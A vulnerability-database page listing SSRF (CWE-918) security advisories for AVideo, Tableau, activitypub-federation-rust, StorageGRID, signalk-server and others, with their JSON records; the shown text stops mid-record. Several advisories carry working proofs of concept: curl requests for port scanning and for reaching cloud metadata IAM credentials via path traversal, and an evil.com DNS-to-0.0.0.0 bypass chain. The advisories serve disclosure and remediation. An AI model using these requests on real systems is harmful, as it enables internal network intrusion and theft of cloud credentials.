CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4654 vulnerabilities reference this CWE, most recent first.
GHSA-Q4X6-6MM2-CRG9
Vulnerability from github – Published: 2026-04-08 00:08 – Updated: 2026-04-08 00:08Summary
The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.
The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.
Details
The vulnerable chain was:
plugin/Live/view/getRestream.json.phpexposed a freshtokenForActionplugin/Live/view/Live_restreams/verifyTokenForAction.json.phpexchanged it for a validresponseTokenplugin/Live/view/Live_restreams_logs/add.json.phpaccepted attacker-controlledrestreamerURLplugin/Live/view/getRestream.json.phpandplugin/Live/view/Live_restreams/getAction.json.phplater fetched that stored URL server-side
The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.
The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.
Proof of concept
- Log in as a non-admin user with streaming permission.
- Create a normal restream destination.
- Trigger
plugin/Live/view/Live_restreams/testRestreamer.json.phpto create a live transmission history row. - Call:
GET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=<id>&restreams_id=<id>
- Extract
tokenForActionfrom the returned URL. - Exchange it for
responseTokenvia:
POST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php
- Store a loopback callback URL:
POST /plugin/Live/view/Live_restreams_logs/add.json.php
restreamerURL=http://127.0.0.1:9999/index.php
- Trigger
getRestream.json.phpagain. - Observe that the returned response now contains the JSON body from the loopback-only service.
Impact
An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.
Recommended fix
- Validate
restreamerURLagainst explicitly configured restreamer endpoints at storage time - Re-validate the stored callback URL before server-side fetch
- Bind
responseTokento the expected restream row and callback host - Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets
- Ignore or reject user-supplied callback hosts that do not match trusted configuration
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "WWBN/AVideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39368"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:08:42Z",
"nvd_published_at": "2026-04-07T20:16:30Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Live restream log callback flow accepted an attacker-controlled `restreamerURL` and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.\n\nThe vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.\n\n## Details\n\nThe vulnerable chain was:\n\n1. `plugin/Live/view/getRestream.json.php` exposed a fresh `tokenForAction`\n2. `plugin/Live/view/Live_restreams/verifyTokenForAction.json.php` exchanged it for a valid `responseToken`\n3. `plugin/Live/view/Live_restreams_logs/add.json.php` accepted attacker-controlled `restreamerURL`\n4. `plugin/Live/view/getRestream.json.php` and `plugin/Live/view/Live_restreams/getAction.json.php` later fetched that stored URL server-side\n\nThe original issue existed because the `responseToken` was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.\n\nThe maintainer confirmed the vulnerability and stated that the fix was applied by validating `restreamerURL` at storage time and re-validating the log-entry branch before use. The maintainer also noted that the `m3u8` field follows the same general pattern but is not server-fetched in the current flow.\n\n## Proof of concept\n\n1. Log in as a non-admin user with streaming permission.\n2. Create a normal restream destination.\n3. Trigger `plugin/Live/view/Live_restreams/testRestreamer.json.php` to create a live transmission history row.\n4. Call:\n\n```text\nGET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=\u003cid\u003e\u0026restreams_id=\u003cid\u003e\n```\n\n5. Extract `tokenForAction` from the returned URL.\n6. Exchange it for `responseToken` via:\n\n```text\nPOST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php\n```\n\n7. Store a loopback callback URL:\n\n```text\nPOST /plugin/Live/view/Live_restreams_logs/add.json.php\nrestreamerURL=http://127.0.0.1:9999/index.php\n```\n\n8. Trigger `getRestream.json.php` again.\n9. Observe that the returned response now contains the JSON body from the loopback-only service.\n\n## Impact\n\nAn authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious `restreamerURL` in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.\n\n\n## Recommended fix\n\n- Validate `restreamerURL` against explicitly configured restreamer endpoints at storage time\n- Re-validate the stored callback URL before server-side fetch\n- Bind `responseToken` to the expected restream row and callback host\n- Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets\n- Ignore or reject user-supplied callback hosts that do not match trusted configuration",
"id": "GHSA-q4x6-6mm2-crg9",
"modified": "2026-04-08T00:08:42Z",
"published": "2026-04-08T00:08:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q4x6-6mm2-crg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39368"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a Live restream log callback flow enabling stored SSRF to internal services"
}
GHSA-Q52C-QM5X-CGWJ
Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.
{
"affected": [],
"aliases": [
"CVE-2025-52454"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T19:15:41Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
"id": "GHSA-q52c-qm5x-cgwj",
"modified": "2025-07-25T21:33:50Z",
"published": "2025-07-25T21:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52454"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q537-8FR5-CW35
Vulnerability from github – Published: 2026-03-25 20:23 – Updated: 2026-03-27 21:36Summary
The v4_is_invalid() function in activitypub-federation-rust (src/utils.rs) does not check for Ipv4Addr::UNSPECIFIED (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.
Details
File: src/utils.rs in activitypub-federation-rust
Function: v4_is_invalid(v4: Ipv4Addr) -> bool
The function checks is_private(), is_loopback(), is_link_local(), is_multicast(), and is_documentation() — but omits is_unspecified(). On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).
Additionally, ::ffff:0.0.0.0 (IPv4-mapped IPv6) also bypasses because v6_is_invalid() calls to_ipv4_mapped().is_some_and(v4_is_invalid), inheriting the same gap. Notably, v6_is_invalid() already includes is_unspecified() for native IPv6, making this an asymmetric oversight.
Independent secondary finding — DNS Rebinding TOCTOU:
is_invalid_ip() resolves DNS via lookup_host() for validation, but reqwest resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).
PoC
1. Logic Proof (reproduced from source):
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
// BUG: Missing || v4.is_unspecified()
}
assert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false); // 0.0.0.0 PASSES validation
assert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true); // 127.0.0.1 correctly blocked
2. OS Routing Verification:
$ connect(0.0.0.0:80) → ConnectionRefused
ConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.
3. Attack Chain:
- Attacker configures DNS:
evil.com A → 0.0.0.0 -
- Attacker sends ActivityPub activity referencing
https://evil.com/actor
- Attacker sends ActivityPub activity referencing
-
- Library calls
verify_url_valid()→is_invalid_ip()→ resolves to 0.0.0.0
- Library calls
-
v4_is_invalid(0.0.0.0)returnsfalse(BYPASS)
-
reqwestconnects to 0.0.0.0 → reaches localhost services
Impact
- Direct: Bypasses the SSRF protection layer for all ActivityPub federation traffic
-
- Downstream: 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum
-
- Attacker can: Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure
Suggested Fix
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
|| v4.is_unspecified() // ADD: blocks 0.0.0.0
|| v4.is_broadcast() // ADD: blocks 255.255.255.255
}
For DNS rebinding TOCTOU, pin the resolved IP:
let resolved_ip = lookup_host((domain, 80)).await?;
// validate resolved_ip...
let client = reqwest::Client::builder()
.resolve(domain, resolved_ip) // pin resolution
.build()?;
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "activitypub_federation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.0-beta.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33693"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:23:38Z",
"nvd_published_at": "2026-03-27T01:16:18Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `v4_is_invalid()` function in `activitypub-federation-rust` (`src/utils.rs`) does not check for `Ipv4Addr::UNSPECIFIED` (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.\n\n### Details\n\n**File:** `src/utils.rs` in `activitypub-federation-rust`\n**Function:** `v4_is_invalid(v4: Ipv4Addr) -\u003e bool`\n\nThe function checks `is_private()`, `is_loopback()`, `is_link_local()`, `is_multicast()`, and `is_documentation()` \u2014 but omits `is_unspecified()`. On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).\n\nAdditionally, `::ffff:0.0.0.0` (IPv4-mapped IPv6) also bypasses because `v6_is_invalid()` calls `to_ipv4_mapped().is_some_and(v4_is_invalid)`, inheriting the same gap. Notably, `v6_is_invalid()` already includes `is_unspecified()` for native IPv6, making this an asymmetric oversight.\n\n**Independent secondary finding \u2014 DNS Rebinding TOCTOU:**\n`is_invalid_ip()` resolves DNS via `lookup_host()` for validation, but `reqwest` resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).\n\n### PoC\n\n**1. Logic Proof (reproduced from source):**\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n v4.is_private()\n || v4.is_loopback()\n || v4.is_link_local()\n || v4.is_multicast()\n || v4.is_documentation()\n // BUG: Missing || v4.is_unspecified()\n}\n\nassert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false); // 0.0.0.0 PASSES validation\nassert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true); // 127.0.0.1 correctly blocked\n```\n\n**2. OS Routing Verification:**\n\n```\n$ connect(0.0.0.0:80) \u2192 ConnectionRefused\n```\n\nConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.\n\n**3. Attack Chain:**\n\n1. Attacker configures DNS: `evil.com A \u2192 0.0.0.0`\n2. 2. Attacker sends ActivityPub activity referencing `https://evil.com/actor`\n3. 3. Library calls `verify_url_valid()` \u2192 `is_invalid_ip()` \u2192 resolves to 0.0.0.0\n4. 4. `v4_is_invalid(0.0.0.0)` returns `false` (BYPASS)\n5. 5. `reqwest` connects to 0.0.0.0 \u2192 reaches localhost services\n### Impact\n\n- **Direct:** Bypasses the SSRF protection layer for all ActivityPub federation traffic\n- - **Downstream:** 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum\n- - **Attacker can:** Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure\n### Suggested Fix\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n v4.is_private()\n || v4.is_loopback()\n || v4.is_link_local()\n || v4.is_multicast()\n || v4.is_documentation()\n || v4.is_unspecified() // ADD: blocks 0.0.0.0\n || v4.is_broadcast() // ADD: blocks 255.255.255.255\n}\n```\n\nFor DNS rebinding TOCTOU, pin the resolved IP:\n\n```rust\nlet resolved_ip = lookup_host((domain, 80)).await?;\n// validate resolved_ip...\nlet client = reqwest::Client::builder()\n .resolve(domain, resolved_ip) // pin resolution\n .build()?;\n```",
"id": "GHSA-q537-8fr5-cw35",
"modified": "2026-03-27T21:36:54Z",
"published": "2026-03-25T20:23:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-q537-8fr5-cw35"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33693"
},
{
"type": "WEB",
"url": "https://github.com/LemmyNet/activitypub-federation-rust/commit/4ae8532b17bc35755240b7f55d4a5b7665351599"
},
{
"type": "PACKAGE",
"url": "https://github.com/LemmyNet/activitypub-federation-rust"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7723-35v7-qcxw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()"
}
GHSA-Q543-X74M-R8Q9
Vulnerability from github – Published: 2026-02-18 00:30 – Updated: 2026-02-18 00:30StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.
{
"affected": [],
"aliases": [
"CVE-2026-22048"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T00:16:18Z",
"severity": "HIGH"
},
"details": "StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.",
"id": "GHSA-q543-x74m-r8q9",
"modified": "2026-02-18T00:30:16Z",
"published": "2026-02-18T00:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22048"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/NTAP-20260217-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q56H-X9H5-Q53C
Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-17 21:48Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "kityminder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31830"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-17T21:48:55Z",
"nvd_published_at": "2022-06-09T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.",
"id": "GHSA-q56h-x9h5-q53c",
"modified": "2022-06-17T21:48:55Z",
"published": "2022-06-10T00:00:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31830"
},
{
"type": "WEB",
"url": "https://github.com/fex-team/kityminder/issues/345"
},
{
"type": "PACKAGE",
"url": "https://github.com/fex-team/kityminder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in kityminder"
}
GHSA-Q57F-4WJ6-3JFC
Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2024-07-23 21:31Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29's Checkmk <= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.
{
"affected": [],
"aliases": [
"CVE-2022-48321"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-20T17:15:00Z",
"severity": "HIGH"
},
"details": "Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29\u0027s Checkmk \u003c= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.",
"id": "GHSA-q57f-4wj6-3jfc",
"modified": "2024-07-23T21:31:32Z",
"published": "2023-02-20T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48321"
},
{
"type": "WEB",
"url": "https://checkmk.com/werk/14385"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/checkmk-rce-chain-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q57Q-P5MG-4C5W
Vulnerability from github – Published: 2025-01-10 00:30 – Updated: 2025-01-10 00:30A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2025-21385"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T22:15:29Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.",
"id": "GHSA-q57q-p5mg-4c5w",
"modified": "2025-01-10T00:30:36Z",
"published": "2025-01-10T00:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21385"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21385"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q59X-JC9F-GFQF
Vulnerability from github – Published: 2026-06-18 21:13 – Updated: 2026-06-18 21:13Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require no authentication.
Details
Vulnerable Function
The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
Missing Validation
The function performs zero validation on the destination host. The following address ranges are all reachable:
- Loopback:
127.0.0.1,::1,localhost - RFC 1918 private ranges:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - Link-local / Cloud metadata:
169.254.169.254(AWS EC2 instance metadata, GCP, Azure IMDS) - IPv6 link-local:
fe80::/10 - Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration
The endpoints are protected by addAdminMiddleware() (lines 2339-2345):
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)
However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:
addAdminMiddleware: () => {},
This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.
Additional Attack Surface: TLS Verification Bypass
The selfsignedcert parameter directly controls rejectUnauthorized:
rejectUnauthorized: !selfsignedcert
When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
Additional Attack Surface: Path Traversal in checkAccessRequest
The checkAccessRequest endpoint interpolates requestId directly into the URL path:
`/signalk/v1/requests/${requestId}`
An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.
PoC
Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
Set the target variable:
TARGET=http://127.0.0.1:3000
Confirm "authenticationRequired":false in the loginStatus response before proceeding.
PoC 1: Loopback Connection (Self-Discovery)
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
Response (confirms SSRF, the server connected to itself):
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
PoC 2: Port Scanning via Error Differentiation
# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}
The three distinct error responses allow an attacker to map internal network topology.
PoC 3: AWS Instance Metadata Service (IMDSv1)
On a cloud-hosted signalk-server (AWS EC2):
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'
The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:
curl -s -X POST $TARGET/skServer/checkAccessRequest \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'
Impact
-
Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
-
Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at
169.254.169.254to steal IAM credentials, instance identity tokens, and other sensitive metadata. -
Internal Service Data Exfiltration: The
testSignalKConnectionendpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. -
Server-Side POST Requests: The
requestAccessendpoint sends a POST request with attacker-controlled JSON body (clientId,description), enabling interaction with internal APIs that accept POST requests. -
Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.27.0"
},
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55591"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T21:13:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nsignalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.\n\nWhen security is not configured (the default state), these endpoints require **no authentication**.\n\n### Details\n#### Vulnerable Function\n\nThe core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:\n\n```typescript\nfunction makeRemoteRequest(\n host: string,\n port: number,\n useTLS: boolean,\n selfsignedcert: boolean,\n path: string,\n method?: string,\n headers?: Record\u003cstring, string\u003e,\n body?: unknown\n): Promise\u003c{ status: number | undefined; data: string }\u003e {\n const protocol = useTLS ? https : http\n return new Promise((resolve, reject) =\u003e {\n const options = {\n hostname: host, // NO VALIDATION - attacker controlled\n port, // NO VALIDATION - attacker controlled\n path,\n method: method || \u0027GET\u0027,\n headers: {\n ...(headers || {}),\n ...(body ? { \u0027Content-Type\u0027: \u0027application/json\u0027 } : {})\n },\n rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification\n }\n const req = protocol.request(options, (response) =\u003e {\n let data = \u0027\u0027\n response.on(\u0027data\u0027, (chunk: string) =\u003e {\n data += chunk\n })\n response.on(\u0027end\u0027, () =\u003e {\n resolve({ status: response.statusCode, data })\n })\n })\n req.on(\u0027error\u0027, reject)\n req.setTimeout(10000, () =\u003e {\n req.destroy(new Error(\u0027Connection timed out\u0027))\n })\n if (body) {\n req.write(JSON.stringify(body))\n }\n req.end()\n })\n}\n```\n\n#### Missing Validation\n\nThe function performs **zero validation** on the destination host. The following address ranges are all reachable:\n\n- **Loopback**: `127.0.0.1`, `::1`, `localhost`\n- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`\n- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)\n- **IPv6 link-local**: `fe80::/10`\n- **Any arbitrary external host**: enabling the server as an open proxy\n\n#### Authentication Bypass via Default Configuration\n\nThe endpoints are protected by `addAdminMiddleware()` (lines 